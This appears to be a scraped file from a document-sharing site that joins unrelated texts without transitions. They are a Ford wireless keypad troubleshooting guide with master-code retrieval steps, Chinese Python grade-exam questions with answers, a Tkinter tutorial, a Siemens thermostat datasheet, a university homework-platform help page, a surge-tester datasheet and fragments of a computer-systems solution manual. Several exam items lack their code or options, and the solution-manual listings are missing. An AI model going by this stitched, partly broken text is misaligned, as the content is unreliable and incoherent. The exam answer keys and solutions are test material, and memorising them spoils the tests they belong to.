CF_Homework GR1 CH2
- 格式:xls
- 大小:49.50 KB
- 文档页数:8
WIRELESS RF KEYPADPRINCIPLES OF OPERATIONThe wireless RF keypad performs most functions associated with the standard Ford entry keypad using the wireless remote keyless entry receiver. The wireless RF keypad supports two unique communication protocols to program to the vehicle. Each protocol has different programming procedures. The keypad is not compatible with vehicles using the Passive Entry Passive Start (PEPS) system (vehicles that require IDS for programming the wireless RF keypad can have PEPS if it does not also have factory remote start). The wireless RF keypad can control the following:•Lock all the doors.•Unlock the driver door using 5 digit entry code or 5 digit user selected code.•Open the trunk or rear hatch.•Open the passenger sliding door.•Open the driver sliding door.FAILURE DESCRIPTIONS COVERED1.KEYPAD DOES NOT ILLUMINATE – PINPOINT TEST A2.NO RESPONSE FROM VEHICLE – PINPOINT TEST B3.KEYPAD WILL NOT UNLOCK VEHICLE – PINPOINT TEST CWarranty Claim•If a warranty claim is submitted, include the pinpoint test step that failed in the technician comments section.PINPOINT TEST A – KEYPAD DOES NOT ILLUMINATEPossible Causes•Keypad logic failure•Depleted batteryA1 – VERIFY ILLUMINATIONTest the keypad illumination of all 5 buttons by pressing each button and waiting 5 seconds for the illumination to turn off. Does the keypad illuminate for 5 seconds when each button is pressed (may require darkened area to see illumination)?•YES - Battery is not depleted, logic is operating, GO TO PINPOINT TEST B.•NO - Depleted battery or logic failure.PINPOINT TEST B – NO RESPONSE FROM VEHICLEPossible Causes•Remote Keyless Entry (RKE) failure•Keypad not programmed to vehicle•Keypad transmitter failure•Battery lowB1 – VERIFY RKE RECEIVER OPERATIONDoes the vehicle unlock and lock using the production fob?•YES – Vehicle receiver functioning, GO TO B2.•NO – Vehicle receiver malfunctioning, GO TO RKE Receiver Pinpoint Tests (refer to Workshop Manual).B2 – VERIFY WIRELESS RF KEYPAD COMMUNICATIONDoes the vehicle lock when the 7/8 and 9/0 buttons are pressed at the same time?•YES – Wireless RF keypad transmitter functioning and programmed to vehicle, GO TO C1.•NO – Keypad transmitter failure or keypad not programmed, GO TO B3.B3 – CHECK FOR KEYPAD OUT OF SYNC–1Does vehicle lock when the 7/8 and 9/0 buttons are pressed at the same time 3 times within 5 seconds?•YES – Passive re-sync done, GO TO C1.•NO – Passive re-sync failed, GO TO B4.B4 – CHECK FOR KEYPAD OUT OF SYNC–2Using a programmed fob, lock the vehicle and then press the 7/8 and 9/0 buttons at the same time within 5 seconds. Does the vehicle lock?•YES – Active re-sync done, GO TO C1.•NO – Active re-sync failed, GO TO B5.B5 – CHECK FOR KEYPAD NOT PROGRAMMEDFollow the installation instructions for the vehicle the wireless RF keypad is being installed.Does the vehicle lock when pressing the 7/8 and 9/0 buttons at the same time?•YES – Wireless RF keypad transmitter functioning and programmed to vehicle, GO TO C1.•NO – Keypad programming failed, GO TO B6.B6 – CHECK FOR KEYPAD ATTACHED TO DOOR EXTERIORThe process of programming the keypad to the vehicle requires additional transmissions from the keypad to make sure the process completes successfully. Do not attach the keypad to the door's exterior until after it has been programmed to the vehicle. If the keypad is attached to the door, remove it and follow installation instructions for the vehicle the wireless RF keypad is being installed.Does the vehicle lock when pressing the 7/8 and 9/0 button at the same time?•YES – Wireless RF keypad transmitter functioning properly and programmed to the vehicle, GO TO C1.•NO – Transmitter failure, replace keypad.PINPOINT TEST C – KEYPAD WILL NOT UNLOCK VEHICLEPossible Causes•Wrong master code•Keypad button failure•Logic failure•Depleted batteryC1 – UNLOCK USING MASTER CODE FROM CODE CARD.Enter the master code printed on the master code card.Does the vehicle unlock?•YES – Complete.•NO – Possible master code card mismatch, GO TO C2.•The wireless RF keypads are a dealer accessory.•Key codes are available for both wireless RF keypad versions:•7L2Z-14A626–BA •ES7Z-14A626–A •The system will provide the master key code once the flash code has been entered.•To get the flash code from the wireless RF keypad (read all steps prior to performing code retrieval):•Press and hold the 1/2 and 3/4 buttons on the keypad.•While pressing the 1/2 and 3/4 buttons, press and hold the 7/8 button until the 9/0 button flashes, then release the buttons.•Count and record each flash (including the first one). The 9/0 button will flash each digit with a series of flashes at a one flash per secondrate. There will be a 3 second pause between each digit. The flash code has 5 digits, each digit can be 1-5 (that is, a 1 will flash once followed by a 3 second pause, a 4 will flash four times followed by a 3 second pause, then the next digit will flash, followed by a 3 second pause until all 5 digits have been sent). These five digits are the flash code.•When the Aftermarket Keyless Entry Keypad Code Access site is reached:•Enter the five digit flash code and press submit to get the master code.Does the master code you obtained unlock the vehicle?•YES – Complete.•NO – Include keypad flash code and retrieved master code in warranty claim.C2 – LOOK UP MASTER CODE THROUGH ONLINE APPLICATIONGeneral Information•You will only see the key code link if your user ID has been granted access.The accessory wireless RF keypad can only be used with vehicles that are factory built with RKE and without PEPS (vehicles that require IDS for programming the wireless RF keypad can have PEPS if it does not also have factory remote start). The master code for the wireless RF keypad can be retrieved from FMCDealer- Parts and Service- Parts Product Line Information- Keys/Entry Devices- Aftermarket Keyless Entry Keypad Code Access. Access to this site is granted to DPES authorized users. Once accessed, the master code retrieval process is given. The master code for the wireless RF keypad cannot be retrieved from the body module with a diagnostic tool.。
一、单选题(共25题,共50分)1.有如下Python程序,包含lambda函数,运行该程序后,输出的结果是?()g = lambda x,y:x*yprint(g(2,3))A. 2B. 3C. 6D. 82.运行下列程序,输出的结果是?()def dtox(x,base = 2):s = []while x>0:s.append(x % base)x = x // basereturn sprint(dtox(11))A. 程序出错B. 1101C. [1, 1, 0, 1]D. [1, 0, 1, 1]3.下列哪项不是函数的优点?()A. 提高代码的复用率。
B. 使得程序简洁,程序功能清晰。
C. 便于程序的修改,便于扩展。
D. 代码运行速度更快。
4.下列关于函数的描述正确的是?()A. 函数内的语句不会改变任何非全局变量的值。
B. 传入函数的参数都会以副本的形式存在函数中。
C. 函数的名称不能与Python的保留字相同。
D. 每个函数必须有一个return语句。
5.Python中自定义函数的关键字是?()A. subB. defC. functionD. void6.运行下列程序,输出的结果是?()def nxs(x):s = 0while x:s = s * 10 + x % 10x //= 10return sprint(nxs(106))A.106B.610C.160D.6017.Python编写的自定义函数dy,执行该程序段后,输出的结果是?()def dy(x,y):return x>yprint(dy(10,20))A.10B.20C.FalseD.True8.在函数中有一种叫空函数。
构造一个空函数,下面的横线处应填?()def 函数名( ):______________A.NoneB.return NoneC.passD.empty9.下列代码的输出结果是?()def fun(a,b):t = aa = bb = tprint(a, b)fun(pow(3,2),pow(2,3)) #pow(x,y)返回x**y的值A.3 2B.8 9C.2 3D.9 810.函数中用return [表达式] 结束函数,选择性地返回一个值给调用方,有时不带表达式的return相当于返回?()A.0B.NoneC.1D.False11.对于下面的函数:def f(x,z,y=2):print(x+y+z)用f(1,2,3)和f(1,2)两个调用语句,运行结果分别是?()A.都是5B.6和5C.都是6D.5和612.下列这段程序的打印结果是?()def demo(item,lis=[]):lis=[]lis.append(item)return lisprint(demo('a'),end='')print(demo('b'))A.['a']['a', 'b']B.['a']['b']C.[][]D.[ ]['b']13.函数如下:def showNumber(numbers):for n in numbers:print(n)下面哪个选项在调用该函数时会报错?()A.showNumber([2,4,5])B.showNumber('abcesf’)C.showNumber(3.4)D.showNumber((12,4,5))14.下列关键字中,用来导入第三方库的是?()A.includeB.fromC.importD.continue15.以下选项中,不属于第三方库安装工具pip能够实现的功能是?()A.安装一个第三方库。
2024年9月青少年软件编程Python等级考试二级真题试卷(含答案和解析)题数:37 分数:100一、单选题(共25题,共50分)。
1.以下代码的输出是?()a = ['甲','乙','丙','丁','子','丑']print(a[4])A. 丁B. ['丁']C. ['子']D. 子答案:D。
解析:列表的下标从0开始,所以是第五个元素'子',元素是不带[]的,所以选D。
2.语句的运行结果是?()A. '新,年,快,乐'B. '新年快乐'C. '新年快乐'D. '新、年、快、乐'。
答案:A。
解析:本题考察的是字符串方法,该方法的作用是在iter变量除最后元素外每个元素后增加一个str。
例如结果为"1,2,3,4,5"。
3.语句的运行结果?()A. 'I like program'B. 'I like programming'C. 'I like programing'D. "I like programmming"答案:B。
解析:本题考察的是方法,该方法的作用是返回字符串str副本,所有old子串被替换为new。
4.题ls = ['a', 'b', 'c', 'd', 'e'],下列哪个选项可以将ls中的元素顺序整体反转?()答案:C。
解析:本题考察的是列表元素的反转操作,该操作的方法是reverse()。
5.已知stu = {"一班":"杨思甜", "二班":"赵柏瑞", "三班":"王一乐", "四班":"刘道林"},则输出所有班级及对应姓名(键值对)的命令是?()答案:C。
python中的widget用法-回复Python中的widget用法Widget是指用户界面(UI)中的各种元素,如按钮、文本框、复选框等,它们用于与用户进行交互。
在Python中,有多个库提供了丰富的widget功能,其中最常用的是Tkinter库。
本文将一步一步回答关于Python中的widget用法的问题,介绍如何创建、配置和使用不同类型的widget。
一、什么是widget?在软件开发中,widget是指用户界面上的可视化元素,用于与用户进行交互。
它们可以是按钮、文本框、标签、滑块等,用于获取用户输入、显示信息或执行某些操作。
widget通常有自己的属性和方法,可以通过编程来控制其行为和外观。
在Python中,widget是通过各种GUI库实现的。
Tkinter是Python 标准库中的一个GUI库,它提供了丰富的widget类和方法,用于创建和管理用户界面上的元素。
二、如何创建一个widget?在Tkinter中,创建一个widget的基本步骤如下:1. 导入Tkinter库首先,需要导入Tkinter库。
通过以下代码实现:pythonimport tkinter as tk2. 创建主窗口使用Tkinter库创建一个主窗口,并设置其标题和大小。
pythonroot = ()root.title("My Application")root.geometry("500x300")3. 创建widget在主窗口中,使用Tkinter提供的widget类来创建不同类型的widget。
例如,创建一个按钮:pythonbutton = tk.Button(root, text="Click Me!")在上述代码中,`tk.Button`表示创建一个按钮类型的widget,`root`表示按钮父窗口为主窗口,`text`参数用于设置按钮上显示的文本。
CE1N2261en Siemens Building Technologies2261Self-learning Room Temperature ControllerREV125 operating modes, menu selection via roller selector• Mains-independent room temperature controller• Straightforward, self-explanatory menu selection via roller selector • Self-learning 2-position controller providing PID mode (patented)• Choice of operating modes:automatic with maximum 2 heating periods, continuously comfort mode, con-tinuously economy mode, frost protection with one 24-hour operating mode and one heating period• In automatic mode, one temperature setpoint can be adjusted for each heating periodUseFor the control of the room temperature in:• Apartments, single-family or holiday houses• Offices, individual rooms, consulting rooms or commercially used spaces For the control of the following pieces of equipment:• Solenoid valves of instantaneous water heaters • Solenoid valves of atmospheric gas burners • Forced draft gas or oil burners• Circulating pumps in heating systems, zone valves• Electric direct heating systems or fans of electric storage heaters • Thermic actuators2/10Functions• PID mode with self-learning or selectable switching cycle • 2-position control• Automatic mode with one or 2 heating periods • One temperature setpoint for each heating period • 24-hour operating mode with one heating period • Override button• Sensor calibration and reset function • Frost protection function• Limitation of the minimum setpointOrderingRoom temperature controllerREV12When ordering, please give the type reference.The controller is supplied complete with batteries.Technical design Display andoperating elementsOperating elementsSelection of operating modeWarmer buttonColder button Override buttonRoller selector for the menu, submenus and settings Confirm by pressing3/10 Display° CSelection of operating mode (only one operating mode is active)Automatic modeComfort modeEconomy modeFrost protection24-hour mode with one heating period(heating period is automatically generated from the current24-hour program)Temporary change of the current setpoint temperature(change only active until the next switching point is reached)° CWhen pressing the + or – button once, the adjusted setpointtemperature will be displayed. It can be readjusted in incre-ments of 0.2 °C (max. +/- 4 °C).Override buttonIn operating modes and , this button can be used to switch from comfortto economy temperature, or vice versa. The selection is maintained until thenext switching point is reached or until the operating mode is changed.Temperature Main menu Submenu Factory settingsT Setpoint comfort mode19 °CSetpoint economy mode16 °CSetpoint frost protection 5 °CTime switch Main menu Submenu Settings1 heating period per day2 heating periods per daySelection of heating period start timeSelection of heating period end timeSelection of heating period setpointtemperatureMenu-driven heatingengineer settingsMenu items SettingsCAL Sensor calibrationSetpoint limitation2-position controlPID mode, self-learningPID mode with a switching cycle of 6 or12 minutesIn the automatic operating modes, temperature setpoints can be individually adjustedfor every comfort period and for the continuous operating modes. The temperaturesetpoint of economy mode is the same in automatic and continuous operation.In frost protection mode, the room temperature is constantly monitored. If it falls belowthe adjusted setpoint, heating is switched on to maintain the adjusted frost protectionsetpoint temperature .The controller generates the 24-hour operating mode from the current 24-hour pro-gram. It automatically selects the switch-on time of the first heating period and theswitch-off time of the last heating period to generate and display a complete heatingperiod. The comfort temperature used by the controller is the currently stored standardsetpoint of the continuous operating mode . The self-generated 24-hour operatingmode is maintained until another operating mode is selected.Automatically generated Current 24-hour switching program24-hour operating modeTemperature set-pointsProtective function24-hour operating modeExample4/105/10The switching program is used as the 24-hour program. It is also possible to select oneof the continuous operating modeswith which the switching program is not used.When a heating period is programmed, 2 different switching patterns are available.It is possible to select one or 2 heating periods.For each heating period, the start time, end time and comfort temperature setpoint are to be entered. In between heating periods, it is always the same economy temperature setpoint that is used. This economy temperature setpoint can be adjusted on the tem-perature menu.2261Z 0416°C1820221st 2nd Setpoint limitation and self-learning PID modeHeating engineer level To access the heating engineer level, keep the warmer and colder buttons depressed and simultaneously roll the roller selector away from the display and then toward the display.If the displayed temperature does not correspond to the effective room temperature, the temperature sensor can be recalibrated (recalibration to be made on the heating engi-neer level).The displayed temperature can be matched to the effective room temperature in incre-ments of 0.2 °C (max. ±2 °C).Minimum setpoint limitation of 16 °C prevents undesired heat transfer to neighboring apartments in buildings with several heating zones.Switching program Example with 2 heating periods per dayFactory settingsFactory settings heating engineer AccessingSensor calibrationCALLimitation of setpoint6/10The REV12 is a 2-position controller providing PID mode. The room temperature is controlled through the cyclic switching of an actuating device.The controller generates the positioning signals depending on the deviation of the set-point from the actual value acquired by the built-in temperature sensor.The rate of response to the deviation depends on the selected control algorithm.The controller is supplied with an active self-learning operating mode, enabling it to automatically adapt to the controlled system (type of building construction, type of ra-diators, size of the rooms, etc.). After a certain learning period, the controller optimizes its parameters and then operates with the learned parameters.In exceptional cases, in which the self-learning mode may not be ideal, it is possible to select PID 12, PID 6 or 2-Pt mode:PID 12 modeSwitching cycle of 12 minutes for normal or slow controlled systems (massive building structures, large spaces, cast-iron radiators, oil burners).PID 6 mode Switching cycle of 6 minutes for fast controlled systems (light building structures, small spaces, plate radiators or convectors, gas burners).2-Pt modePure 2-position control with a switching differential of 0.5 °C (±0.25 °C)for very difficult controlled systems with considerable outdoor tem-perature variations.User-defined data:Press the button behind the pin opening for at least one second: this resets the user-specific settings to their default values (the heating engineer settings will not bechanged). The clock starts at 12:00. During the reset time, all sections of the display light up, enabling them to be checked.All user-defined data plus the heating engineer settings:Press the button behind the pin opening together with the warmer and colder buttons for at least one second.After this reset, all factory settings will be reloaded (also refer to section “Factory set-tings“).Mechanical designon the display, but all functions will be fully maintained. When changing the batteries,the current data will be retained for a maximum of one minute.The REV12 has a plastic housing with a large display and easily accessible operating elements. The controller is removed from its base by sliding it upward. It is thus possi-ble to replace the two 1.5 V alkaline batteries type AAA in the compartment at the rear of the controller.The base can be fitted to most types of commercially available recessed conduit boxes or directly on the wall for wiring. The base only houses the terminals for the electrical connection between the controller and the connected devices. The entire electronics (including the relay with a potentialfree N.O. contact) are accommodated in the con-troller.ControlSelf-learning modeExceptionsReset functionsBattery changeControllerBaseNotes•The room temperature controller should be fitted in the main living room•The place of installation should be chosen such that the sensor can capture the roomtemperature as accurately as possible, without being affected by direct solar radia-tion or other heating or cooling sources•Mounting height is approximately 1.5 m above the floor•The controller can be fitted to most commercially available recessed conduit boxes ordirectly on the wall•Above the unit, there must be sufficient clearance to remove the controller from itsbase and to replace itmin.10 cm•When installing the controller, the base must first be fitted and wired. Then, the unitcan be slid onto the base from above•For more detailed information, please refer to the installation instructions suppliedwith the controller•For the electrical installation, the local safety regulations must be complied with•The battery transit tab, which prevents inadvertent operation of the controller duringtransport and storage, must be removed•The control mode can be changed on the heating engineer level•If the reference room is equipped with thermostatic radiator valves, they must be setto their fully open position•If the displayed room temperature does not correspond to the effective room tem-perature, the temperature sensor should be recalibrated (refer to “Sensor calibra-tion”)Technical dataOperating voltageBatteries (alkaline AAA)Battery lifeBackup for batter change DC 3 V2 x 1.5 V approx. 2 years max. 1 minSwitching capacity of relayVoltage Current AC 24…250 V 6 (2.5) ASafety class II to EN 60 730-1Sensing elementMeasuring rangeTime constant NTC 10 kΩ±1 % at 25 °C 0…50 °Cmax. 10 minSetpoint setting rangesNormal temperature Economy temperature Frost protection temperature 5…29 °C5…29 °C5...29 °C (factory setting 5 °C)EngineeringMounting andinstallationCommissioningGeneral unit data7/108/10Resolution of settings and display SetpointsSwitching timesMeasurement of actual value Display of actual value Display of time0.2 °C 10 min 0.1 °C 0.2 °C 1 min CE conformityElectromagnetic compatibility Low voltage directive 89/336/EEC 73/23/EECC-TickN474Automatic electrical controls for household and similar useEN 60 730-1Electromagnetic compatibility Immunity Emissions EN 50082-1EN 50081-1OperationClimatic conditionsPerm. ambient temperature Humidityclass 3K3 to IEC 60 721-35...40 °C < 85 % r.h.Storage and transport Climatic conditions Ambient temperature Humidity Mechanism class 2K3 to IEC 60 721-3-25…+70 °C < 93 % r.h.class 2M2 to IEC 60 721-3Incl. package 0.270 kgHousing signal-white RAL9003Base grey RAL7038Housing128 x 96 x 30 mmNorms and standardsProduct standardsEnvironmental conditionsWeight Color Size9/10Connection diagramL Live, AC 24…250 VL1N.O. contact, AC 24…250 V / 6 (2.5) A M1Circulating pump N Neutral conductorN1Room temperature controller REV12Y1Actuating deviceApplication exampleF2F1Y2T TM1N1T2261S 03TF1F2N1M1Y22261S 01TTInstantaneous water heater Atmospheric gas burner10/10Zone valveCirculating pump with precontrol by manual mixing valveF1Limit thermostat F2Safety limit thermostat M1Circulating pumpN1Room temperature controller REV12Y12-port valve with manual adjustment Y2Solenoid valve Y3Motorized 3-port valve Y4Motorized 2-port valveDimensionsã2001 Siemens Building Technologies AG Subject to alteration。
一、单选题(共25题,共50分)1.下面哪个语句正确定义了元组类型数据tuple1?()A.tuple1=["张三","李四","王五"]B.tuple1=("张三";"李四";"王五")C.tuple1=(张三,李四,王五)D.tuple1=("张三",)2.已知元组tuple1=("张三","李四","王五","赵六"),能输出('李四', '赵六')的是?()A.print(tuple1(1:3))B.print(tuple1[1::2])C.print(tuple1[1,3])D.print(tuple1[2:4])3.以下哪个选项不能生成列表['data1', 'data3', 'data5', 'data7', 'data9']?()A.list1 = []for i in range(1,10,2):list1.append("data{}".format(i))print(list1)B.list2 = [ "data{}".format(i)for i in range(1,10,2)]print(list2) C.list3= []for i in range(10):if i %2 == 1:list3.append("data{}".format(i)) print(list3)D.list4 = [ "data{}".format(i) for i in range(0,10) if i % 2 == 0]print(list4)4.关于各类推导式的运用的表述中,错误的是?()A.yield作为Python的关键字之一,在生成器函数中用来返回值。
网络教育学院在线作业平台使用帮助(学生篇)网络教育学院在线作业平台是西南交通大学网络教育学院根据网络教育特点,结合实际教学需要、组织学院技术骨干研发的一套能够为包括统考课程在内的各种课程提供在线模拟测试、学习等功能的平台。
为帮助同学们更好地使用本平台,西南交通大学网络教育学院编写本手册。
一、登录在线作业平台下面主要说明如何登录并使用“课程单元练习题”、“统考专题训练”等功能。
1.登录并使用“课程单元练习题”功能学生可以在进行课件学习的时候,通过在线作业平台完成该课程的“课程单元练习题”。
网络教育学院首页地址为。
在页面的右边就是登陆区。
图1 首页登录页面在“用户登录”区域分别输入帐号和密码(学生以学号作为账号),点击登录按钮后,在导航菜单中选择“学习园地”,再选择“课程学习”,进入课程学习页面,选择需要学习的课程。
图2 按照课程进入学习园地点击该课程后面的“进入课程”链接,进入该课程的学习界面。
在页面左侧的“功能菜单”中,点击“在线练习”链接(如图3所示),进入该课程的“课程单元练习题”界面。
图3课程的功能菜单点击页面上部的“在线作业平台首页”链接可以返回平台首页。
2.登录并使用“统考专题练习”功能学生在登录成功之后,点击主菜单的“统考专题”进入统考专题界面。
在统考专题页面的左边菜单中选择“在线练习”,进入“统考专题练习”。
图4 统考专题练习功能菜单3.从在线作业平台登陆进行在线练习在浏览器(推荐使用IE)的地址栏中输入直接访问在线作业平台首页,输入帐号和密码后,即可进入在线作业平台。
图5 在线作业平台登录界面在成功登录之后即进入平台的功能列表,如图6所示。
在此输入学号、密码登录图6在线作业平台的功能列表二、课程单元练习题“课程单元练习题”功能主要是教师布置的课程练习题作业题,包括在线测试和下载测试两种形式。
学生可以在网络教育学院首页()登录成功之后,依次点击“学习园地”→“课程学习”,然后选择相应的课程,点击该课程后面的“进入课程”链接,进入该课程的学习页面,最后点击左边功能菜单的“在线练习”链接进入该课程的练习题列表。
PIM 800 / PIM 810 / PCD 800Surge test system for telecom equipment according TIA-968-A (formerly FCC part 68)TIA-968-A relates to the testing of Terminal equipment connected at both residential and commercial premises. The demarcation point between telephone company network andsubscriber network determines if TIA-968-A should be used or if another standard may be more appropriate. It applies equally to voice-bandanalog, Public Switched Digital Services and ISDN Basic Rate Access or Primary Rate Access systems.Testing is required at both telecom port and power ports . Section 4.2 of TIA-968-A refers specifically to surge impulse tests. Terminal equipment can be telephones, fax machines, modems, voice mail systems, etc.Testing is required with equipment in their normal working state. Surges must be applied to the Tip and Ring connections in both metallic andlongitudinal modes, and differentially to power line phases.PSURGE 8000 Surge Platform can perform all the programming functions required to perform IEC, ITU and testing without the need of a control computer. Voltage and Current peak measurement circuits are used to help determine EUT PASS/FAIL criterion. Theintegration into the WinFEAT&R control and reporting software package enhances anefficient set-up and operation of this test system. Most importantly, the test load can be transferred to a computer, minimising the need for additional resources.Careful component selection ensures that the whole test system will continue to operate under the most strenuous testing conditions.FeaturesFull hybrid waveforms according to the latestissue of TIA-968-A Telecom line surges type A and B Power line surgesIntegrated Tip and Ring coupling for 2 and 4wire telecom systems Integrated automatic power line coupling 4 wire telecom adaptors to RJ11, RJ12, RJ45available WinFEAT&R software integrated BenefitsSafe and Easy - The interlocked HV section and the special HV sockets allows your operators to test safely and easily.Automatic Coupling - Single connect systemspeeds up the test process. Automatic coupling units for single and three phase power lines as well as 4 wire telecom applications enable routing of impulses to multiple EUT ports without changing test configurations.Automatic Report Generation - The test system can automatically generate test reports without a computer. Add WinFEAT&R control and reporting software to collect and collate data in any format you need.No Overtesting – Surge voltage and current wave shapes has narrow tolerance band. This ensures that the EUT is not overtested. EUT overtesting may result in extensive, unnecessary costs for product design and manufacturing cost.Applications Telecom equipmentSingle and three phase power ports 2 wire symmetrical Telecom lines 4 wire symmetrical Telecom linesl i s h e d 1981Headquarters Haefely Test AGLehenmattstrasse 353 CH-4052, Basel Switzerland+ 41 61 373 41 11 + 41 61 373 45 99*********************Locate your local sales representative at North American OfficeHipotronics Inc. Haefely EMC Division1650 Route 22 Brewster, NY 10509++1 845 279 3644 x264++1 845 279 2467****************************Haefely has a policy of continuous product improvement. Therefore we reserve the right to change design and specification without notice.PIM800_810_PCD800_2006-09-20.docTechnical SpecificationsPIM 800 (Telephone line surges Type A and B)Impulse Shape 1 10/560us U&I (Z=8 Ohm) Amplitude range 250...880V Impulse Shape 2 10/160us U&I (Z=7.5 Ohm) Amplitude range 250...1650V Impulse Shape 3 9/720us U - 5/320us I, (Z=15 & 40 Ohm with PCD 800)Amplitude range250 (1650V)PIM 810 (Power line surge)Impulse Shape 2/10us U&I Amplitude range 250...2750V Impedance2.5 OhmSynchronisationin 1° stepsPCD 800 (Automatic 2 and 4 wire telecom coupler) Impulse Shape all shapes from PIM 800 max. amplitude 2kVCurrent limiting resistors0 / 25 Ohm selectableCoupling elements- gas arrestors 90V - gas arrestor // 100nF - directWeights and Dimensions (W x H x D, net weight) PIM 800 45 x 16 x 57 cm 19 kg PIM 810 45 x 16 x 57 cm 17 kg PCD 80045 x 20 x 57 cm11 kgOrdering Information PIM 800Impulse module 10/560us, 10/160us and 9/720us. Art. No. 249906 PIM 810 Impulse module 2/10us Art. No. 249907PCD 800Automatic Coupling Network for telecom applications. Art. No. 249908The necessary cables to connect the modules to the PSURGE 8000 and the user manual are in the scope of supply.Options and Accessories PCD 100 Single phase Coupling Decoupling Network up to 16A.PCD 130 Three phase Coupling Decoupling Network up to 32A per phase. DEC 5 Decoupling network for telecom lines.WinFEAT&RControl and reporting software. Runs under windows 98, NT, ME, 2000, XPWinFEAT&R Control Window。
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think 